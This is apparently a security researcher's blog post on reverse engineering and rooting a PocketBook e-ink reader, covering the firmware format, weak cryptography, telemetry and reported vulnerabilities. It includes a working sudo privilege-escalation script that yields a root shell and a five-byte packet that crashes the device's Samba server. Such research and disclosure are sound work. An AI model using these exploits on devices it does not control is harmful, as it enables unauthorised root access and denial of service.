E-ink maiden: Bring your reader to the reverser
So, one of our researchers bought an electronic paper reader tablet, and instead of reading ebooks on the train, started having fun with it!
The main objective of this blog post is to better understand the internal workings of the reader, in order to eventually root it. We will proceed in little steps, from getting to know the device, reversing its update file format, gaining an initial foothold, elevating our privileges and finally trying to explore some interesting parts.
This device is branded by a French Ebook company, but is manufactured by a Swiss company (PocketBook1) and another company (Obreey2), based in Ukraine. There are several variations of this model, sold by several companies worldwide, but we assume that the hardware is similar and the findings should still apply.
At the core of the reader is an Allwinner A13 system-on-chip, based on an ARM processor (label 6) . This processor drives two controllers (labels 4 and 5) for the touchpad and the electronic ink screen, and the firmware is stored in a SD memory card (label 4).
Two debug interfaces are present, 4 UART pins on the right of the device (label 8), and some I2C pins next to the touchscreen controller connector (label 7).
There is also a Realtek RTL8188 (label1) Wi-Fi module on the top left of the PCB.
It is possible by design to run custom software on the reader, and PocketBook has published several Software Development Kits on GitHub.
Reverse engineering the upgrade file format
Firmware upgrades for the device can be downloaded from both the retailer and the manufacturer website. It is comprised of a zip file containing several files:
$ file updates/T622.214.171.1247/* fwinfo.xml: ASCII text SWUPDATE.BIN: gzip compressed data
After decompressing the
SWUPDATE.BIN file using
gzip, we obtain a binary file starting with a 0x400 bytes header, shown below.
00000000 50 6f 63 6b 65 74 42 6f 6f 6b 55 70 64 61 74 65 |PocketBookUpdate| 00000010 50 6f 63 6b 65 74 42 6f 6f 6b 36 32 36 00 00 00 |PocketBook626...| 00000020 00 00 00 00 54 36 32 36 2e 35 2e 31 34 2e 31 00 |....T6126.96.36.199.| 00000030 0c 8a 0c 1e 74 cf 0f 5b 25 5f f5 b9 95 a3 5e 52 |....t..[%_....^R| 00000040 04 98 1c 8b 32 51 14 f6 25 94 f1 98 26 c8 48 3b |....2Q..%...&.H;| 00000050 4c 66 d7 41 88 2d ce d4 c0 83 44 64 85 2c e1 33 |Lf.A.-....Dd.,.3| 00000060 e8 86 34 60 1a ae 1c e6 d6 f4 be f6 bb ab e2 90 |..4`............| 00000070 4a cb ed e9 2d e0 43 36 27 4c 09 80 84 b3 b4 c7 |J...-.C6'L......| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000000c0 6a a1 b2 5a 00 00 00 00 00 00 00 00 00 00 00 00 |j..Z............| 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000100 61 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 |a...............| 00000110 73 00 00 00 00 00 00 00 00 00 01 00 a7 ad 09 00 |s...............| 00000120 40 00 00 00 00 00 00 00 00 00 0b 00 31 02 00 00 |@...........1...| 00000130 6b 00 00 00 00 00 00 00 00 00 0c 00 14 23 3d 00 |k............#=.| 00000140 63 00 00 00 00 00 00 00 00 00 4a 00 00 a0 37 00 |c.........J...7.| 00000150 40 00 00 00 00 00 00 00 00 00 82 00 19 7d 01 00 |@............}..| 00000160 72 00 00 00 00 00 00 00 00 00 84 00 00 b0 00 01 |r...............| 00000170 65 00 00 00 00 00 00 00 00 00 85 01 00 ec 4f 0d |e.............O.| 00000180 54 00 00 00 00 00 00 00 00 00 d5 0e 00 a0 04 01 |T...............| 00000190 40 00 00 00 00 00 00 00 00 00 da 0f 46 b4 10 00 |@...........F...| 000001a0 40 00 00 00 00 00 00 00 00 00 eb 0f 1f b4 10 00 |@...............| 000001b0 40 00 00 00 00 00 00 00 00 00 fc 0f 72 b5 14 00 |@...........r...| 000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000400 56 45 52 53 49 4f 4e 3d 54 36 32 36 2e 35 2e 31 |VERSION=T626.5.1|
Fortunately for us, this firmware format is already partially documented on GitHub.
However, as the extraction tool did not know about certain partition types, we developed a quick script based on a Katai struct file.
ksy file and an associated script are published on our GitHub here and here.
As documented in the script, the header contains a partition table and metadata for the update including the new version and a cryptographic signature. Each partition entry is described by 16 data bytes, containing the type of the partition, its size and the starting offset in the file.
The integrity of the script is checked by first computing a MD5 hash of each partition, hashing (still with MD5) this list of hashes, and then comparing it with the expected value stored in the header.
The update is also signed using several public keys hardcoded in the file
/etc/swupdate.pk It should be noted that these public keys are shared between retailers, and there are currently 3 public keys in the file.
It seems that PocketBook developers also have a good sense of humor, as funny filenames are used during the upgrade process, including directory names as
Rooting the device
There are several ways to root the device, the majority of them implying removing the back cover and voiding the warranty.
Hey, but at this point, your device is already open, no?
As said before, there is a documented way345 to execute custom code on the device by dropping executables in a hidden folder when connecting the reader to a computer.
This folder, named
applications, already contains some useful applications including
So, let's put our own game of shells in it!
The applications are run as the user account
reader. That's a start, at least we're not
nobody, but there are two other users on the reader,
sreader and the almighty
The easy way
When extracting the files from the upgrade format, we noticed that there is a
sudo binary stored in the
By using the same execution path as before, let's check if we can run something with elevated privileges!
sudo -l User reader may run the following commands on this host: (ALL) NOPASSWD: /ebrmain/bin/sshstart.sh, (ALL) /ebrmain/bin/proftpd, (ALL) /ebrmain/bin/ip-over-usb-start.sh, (ALL) /sbin/ifconfig, (ALL) /ebrmain/bin/ntpdate, (ALL) /bin/set_bootmode calibrate (sreader) NOPASSWD: /ebrmain/bin/cleanstate.sh (sreader) /ebrmain/bin/runonce.sh
At first glance, this configuration includes a bunch of shell scripts, but none of them exists on the device. We actually overlooked this point, and after rooting the device by other means, came back to it to find a vulnerability lurking inside. In fact, the path of the executable
calibrate is not checked, so we can execute anything with the same name as root!
The exploit below can be put on the device in the
applications folder to get a root shell:
#!/bin/sh # check the sudo configuration /ebrmain/bin/sudo -l > /mnt/ext1/result.txt # deploy POC echo "whoami >> /mnt/ext1/result.txt" > /tmp/calibrate # make it executable cd /tmp && chmod +x calibrate # get root /ebrmain/bin/sudo ./calibrate
After checking some firmwares, this vulnerability seems to affect only the PocketBook TouchLux 2 and 3 models.
The hard way: (ab)using the SD card
As we noticed earlier, the device contains a SD card. It is publicly documented that you can upgrade the storage by replacing this card with a bigger one on other types of readers6.
However, instead of enlarging our storage, what if we enlarge our privileges? Let's start by checking the init script named
#! /bin/sh PATH=/sbin:/bin:/usr/bin [...] mount -a [ -f /boot/developer_mode ] && /lib/modules/ins_usbnet.sh [ -f /mnt/secure/netserver ] && /lib/modules/ins_usbnet.sh [...]
As we can see, this script checks at each boot if any of two files is present, it will launch another script named
This script's content is as follow:
#!/bin/sh NET=192.168.205 [...] cd /sys/class/android_usb/ echo 0 >android0/enable echo rndis >android0/functions echo Obreey >android0/iManufacturer echo Obreey >android0/f_rndis/manufacturer echo Pocketbook >android0/iProduct echo 04b3 >android0/idVendor echo 4010 >android0/idProduct echo 1 >android0/enable [...] /sbin/udhcpd $UDHCONF [...] /sbin/tinysmbd -c $SMBCONF -q -d /sbin/dropbear -G $NET
So, if we touch one of the two files, reboot and plug in the USB cable, we will probably be rewarded by a
rndis_host modem and a SSH server listening on the reader IP address!
As we already have dismantled the cover of the reader, we can extract the SD card, mount the
/dev/mmcblk0p9 partition and add the
After rebooting the device, we can connect to the reader with ssh, and without a password we are granted a root shell!
Another hard(ware) way: Using the UART debug port
After soldering pins to the UART test points, a serial connection with baudrate 115200 is exposed, and when interrupted during boot, it will drop you directly to a root shell.
The device uses an Allwinner SOC processor, and boots using a specific bootloader called
eGON with specific drivers, which in turns load a Linux boot image. The code of the bootloader can be found on here.
It is possible to boot in a special mode called FEL by pressing a button during the boot process. When connected with a USB cable, the device then exposes a specific device which can be interacted with using the tools in the
sunxi-tools package. This procedure is documented7.
Cryptographic secrets management
ReadSecret and WriteSecret
Two interesting functions named
WriteSecret are exposed by the development kit. These functions are used in numerous applications in the reader, from the network settings management (to store Wi-Fi passwords) to the ebook readers themselves (to store DRM keys or API tokens for example).
As most of the functions exposed in the SDK, they rely on a IPC mechanism based on standards Unix message queues. At least two of these message queues are used, with keys
0xA1230F (used in the function
0xA1230E used for secure IPC requests.
Each of the messages written in these queues have an ID, most of them defined in the
inkview.h header. As for our example, a call to
WriteSecret emits a message with the ID 0x104 (
MSG_PWENCRYPT) to the non secure queue.
The creator and owner of both these message queues is the process
./pocketbook which is a symbolic link to the
In this binary, following a big switch case parsing the different message codes, we find two functions named
decrypt_password called when the message ID is equal to
This custom cipher is only able to encrypt 0x40 bytes of data, and is based on a 4 bytes salt and 8 bytes derived from a specific device key.
It proceeds by generating a keystream with 4 MD5 hashes of the salt and the key (and mutating one byte of the salt between each hash), and then it generated the ciphered data by xoring each byte of the clear data with the corresponding byte in the keystream.
This particular construction makes the global algorithm weak to known clear text attacks, as an attacker can quickly recover parts of the keystream. Or instead of mounting this attack, one can simply ask the system to decrypt it using
During our reverse engineering streak, we noticed some weird cryptographic primitives, for example the function
OsyUtilities::SHA0BadCrypt. As its name may not imply, this function does not implement a SHA0 variant, but some bad cryptography based on a alphabetic substitution cipher.
We also found some fixed keys (in the analytics binary) or some custom xor schemes used to obfuscate the code flow in a library named
Debug script containing credentials
In some of the updates, debug tools were left over in the firmware upgrade file. One of these tools, named
sshstart.sh, is referenced in the
sudoers configuration file. This script contains credentials for establishing a SSH tunnel between the device and a server owned by PocketBook.
When mounting the device on a computer, we can find several
.gz files under the folder
/system/usage_stat/. These files are named
file_to_send[TIMESTAMP]_XXX.gz, and as their names imply, are sent to a remote server.
These files are produced by the executable
usage_stat.app, which collects various "events" from the reader system, packages them in the archive logs, and sends them to the server
The application collects a bunch of events, for example when a new book is pushed on the device, when the device boots and even when the user opens a book.
So it's good to know that some developers might know what you're reading and when you're reading it!
When the local modem is activated by the script
/lib/modules/ins_usbnet.sh, it also launches a tiny Samba server listening on port 139.
It is possible to crash this server by sending it only 5 bytes!
The root cause of this crash is a double call to the function
SmbSessionExit leading to a double free when the packet does not contain the samba magic word.
On the client side:
import socket s = socket.create_connection(("192.168.205.1", 139)) s.send('\x00\x00\x00\x01\x00')
On the server side:
~ # /sbin/tinysmbd -c /var/run/tinysmb.conf workgroup : 'WORKGROUP' hostname : 'PocketBook' local ip : '192.168.205.1' subnetmask : '255.255.255.0' *** glibc detected *** /sbin/tinysmbd: double free or corruption (out): 0x00cf63b0 ***
So, after reversing and owning the device, we can transform the reader in an ARM development platform with an e-ink screen! The security of the firmware is clearly not perfect, but the vulnerabilities have been reported to the constructor and will be fixed soon in an upcoming release. In the meantime, it can be used by hobbyists3 for tuning their device.
I would like to thank my colleagues for their help in this research, and J. for not losing his temper when looking at me tearing the device apart.
- Demo programs
- Custom ebook reader
- Tool for using E-Ink reader as a computer monitor
- Inspiration for the title